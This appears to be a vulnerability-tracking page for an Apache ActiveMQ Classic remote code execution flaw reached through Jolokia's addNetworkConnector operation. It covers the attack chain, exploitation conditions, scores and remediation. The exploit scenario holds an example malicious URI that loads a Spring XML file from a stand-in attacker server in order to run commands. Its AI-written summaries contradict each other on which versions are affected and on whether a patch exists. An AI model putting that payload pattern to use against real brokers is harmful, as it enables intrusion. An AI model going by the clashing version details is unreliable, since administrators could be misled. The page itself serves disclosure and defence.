Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to ActiveMQ web console
-
DeliveryAccess Jolokia JMX-HTTP bridge at /api/jolokia/
-
ExploitInvoke BrokerService.addNetworkConnector with crafted discovery URI
-
ExecutionTrigger VM transport brokerConfig parameter
-
PersistLoad remote Spring configuration
-
ImpactExecute arbitrary code
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
|
| Exploitation Conditions | Authenticated user access to Apache ActiveMQ web console required. Jolokia JMX-HTTP bridge must be exposed at /api/jolokia/ (default configuration). Default Jolokia access policy must permit exec operations on ActiveMQ MBeans (org.apache.activemq:*). VM transport must be available for broker configuration. |
| Impact | This vulnerability presents a critical attack surface for authenticated Apache ActiveMQ deployments but demonstrates low real-world exploitation probability based on multi-signal analysis. CVSS 8.8 (High) reflects severe potential impact with network accessibility (AV:N), low attack complexity (AC:L), and complete CIA triad compromise (C:H/I:H/A:H), requiring only low-privilege authentication (PR:L). However, the authentication requirement significantly constrains the threat landscape compared to unauthenticated RCE vulnerabilities. EPSS score of 0.06% (19th percentile) indicates minimal observed exploitation activity in the wild, suggesting limited attacker interest or awareness. SSVC framework assessment confirms exploitation status as 'none' with non-automatable attack requirements, though technical impact remains 'total' given arbitrary code execution capabilities. The requirement for authenticated web console access, combined with the need to craft specific Spring XML payloads and understand ActiveMQ's MBean architecture, elevates the skill threshold beyond commodity exploitation. Risk is highest in environments where ActiveMQ web consoles are exposed with weak authentication controls or where internal threat actors possess legitimate credentials. Organizations not exposing the web console externally or implementing network segmentation face substantially reduced risk despite the high CVSS score. |
| Exploit ScenarioDerived | An attacker who has compromised low-privilege credentials for the ActiveMQ web console (such as through credential stuffing, phishing, or insider access) authenticates to the management interface and accesses the Jolokia endpoint at /api/jolokia/. The attacker crafts an HTTP POST request invoking the BrokerService addNetworkConnector MBean operation with a malicious discovery URI parameter like 'vm://localhost?brokerConfig=http://attacker-controlled-server.com/malicious.xml'. This URI triggers ActiveMQ to retrieve a Spring XML configuration file from the attacker's web server containing bean definitions with factory methods such as java.lang.Runtime.getRuntime().exec() that execute operating system commands. When Spring's ResourceXmlApplicationContext instantiates the beans, the attacker's commands execute with the privileges of the ActiveMQ broker process, typically allowing installation of web shells, data exfiltration, lateral movement to connected systems, or complete broker compromise. No public exploit identified at time of analysis, though the attack technique is well- |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 07, 2026
Remote code execution in Apache ActiveMQ Classic versions before 5.19.5 and 6.0.0-6.2.2 allows authenticated attackers to execute arbitrary code on the broker's JVM via Jolokia MBean operations. Attackers with low-privilege web console access can invoke BrokerService.addNetworkConnector() with a malicious discovery URI containing a VM transport brokerConfig parameter that loads remote Spring XML contexts, triggering bean instantiation and code execution through factory methods like Runtime.exec(
Earlier versions of this analysis (1)
Remote code execution in Apache ActiveMQ Classic versions before 5.19.5 and 6.0.0-6.2.2 allows authenticated attackers to execute arbitrary code on the broker's JVM via Jolokia MBean operations. Attackers with low-privilege web console access can invoke BrokerService.addNetworkConnector() with a malicious discovery URI containing a VM transport brokerConfig parameter that loads remote Spring XML contexts, triggering bean instantiation and code execution through factory methods like Runtime.exec(). CVSS 8.8 (High) with network attack vector and low complexity. EPSS score 0.06% (19th percentile) indicates low observed exploitation probability. No public exploit identified at time of analysis, though SSVC assessment confirms total technical impact with non-automatable exploitation.
RemediationAI
Organizations running affected Apache ActiveMQ Classic installations should immediately upgrade to version 5.19.5 for the 5.x branch or version 6.2.3 for the 6.x branch, both of which contain fixes that restrict Jolokia MBean access policies and validate discovery URI parameters before processing. The Apache security advisory at https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt provides official upgrade guidance. As an interim mitigation for environments unable to upgrade immediately, administrators should disable the Jolokia JMX-HTTP bridge by removing or restricting access to the /api/jolokia/ endpoint through web application firewall rules or servlet configuration, implement network-level access controls to limit web console exposure to trusted management networks only, enforce strong authentication on the web console with account lockout policies, and audit existing user accounts with web console access to ensure least-privilege principles. Organizations should also review ActiveMQ broker logs for suspicious addNetworkConnector or addConnector invocations and monitor for unusual network connections or Spring XML context loading attempts.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 4 packages in maven, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Apache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on its web console, providing HTTP-based access to Java Management Extensions (JMX) MBeans. The vulnerability stems from Jolokia's default access policy permitting exec operations on all org.apache.activemq:* MBeans, including BrokerService administrative methods. The attack chain exploits two key ActiveMQ features: (1) BrokerService.addNetworkConnector() and addConnector() methods that accept discovery URIs, and (2) the VM transport's brokerConfig parameter that can specify Spring XML configuration files via URLs. Spring Framework's ResourceXmlApplicationContext eagerly instantiates all singleton beans during context loading, before ActiveMQ validates the broker configuration. This CWE-20 (Improper Input Validation) and CWE-94 (Code Injection) flaw allows attackers to reference attacker-controlled Spring XML files containing malicious bean definitions with factory methods that execute arbitrary commands. Affected products per CPE data include cpe:2.3:a:apache_software_foundation:apache_activemq_broker and cpe:2.3:a:apache_software_foundation:apache_activemq across multiple version ranges.
Know when Apache Activemq Broker gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (apache).
CVSS VectorVendor: apache
Lifecycle Timeline
3DescriptionCVE.org
Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ.
Apache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console. The default Jolokia access policy permits exec operations on all ActiveMQ MBeans (org.apache.activemq:*), including BrokerService.addNetworkConnector(String) and BrokerService.addConnector(String).
An authenticated attacker can invoke these operations with a crafted discovery URI that triggers the VM transport's brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext. Because Spring's ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker's JVM through bean factory methods such as Runtime.exec(). This issue affects Apache ActiveMQ Broker: before 5.19.4, from 6.0.0 before 6.2.3; Apache ActiveMQ: .
Users are recommended to upgrade to version 5.19.5 or 6.2.3, which fixes the issue.
Blast Radius
ecosystem impact- 6 maven packages depend on org.apache.activemq:activemq-all (3 direct, 3 indirect)
- 21 maven packages depend on org.apache.activemq:activemq-broker (14 direct, 7 indirect)
Ecosystem-wide dependent count for version 6.0.0 and other introduced versions.
Articles & Coverage 2
Executive ViewAI
Apache ActiveMQ Classic versions 5.19.5 and earlier, plus 6.0.0-6.2.2, contain a remote code execution vulnerability in Jolokia MBean operations that allows authenticated web console users to execute arbitrary commands on the message broker. This directly threatens operational continuity and data security for organizations relying on ActiveMQ for mission-critical messaging infrastructure, requiring immediate inventory and patching of affected instances.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict network access to ActiveMQ web console to trusted administrative networks only; (2) Disable or isolate Jolokia MBean remote invocation capabilities if operationally feasible; (3) Implement authentication controls requiring multi-factor authentication for web console access; (4) Monitor broker logs for suspicious BrokerService.addNetworkConnector() invocations. These controls reduce attack surface but do not eliminate the vulnerability-patching is mandatory upon availability.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Related Vulnerabilities in Apache ActiveMQ Multiple Vulnerabilities
View all 2More in Apache Activemq Broker
View allRemote code execution in Apache ActiveMQ 5.x (before 5.19.6) and 6.x (before 6.2.5) allows authenticated attackers to by
Remote code execution in Apache ActiveMQ allows authenticated attackers with admin console access to inject malicious Sp
Remote denial of service in Apache ActiveMQ (versions 5.19.7 and 6.2.6) allows an unauthenticated attacker to exhaust br
Improper input validation in Apache ActiveMQ lets an attacker who can write or modify LDAP entries matching the broker's
Out-of-memory denial of service in Apache ActiveMQ allows unauthenticated remote attackers to exhaust broker memory via
EUVD-2026-19588
GHSA-rxpj-7qvf-xv32
NVD
CVE.org
CISA KEV
EPSS
Vulnrichment
VulDB
Exploit-DB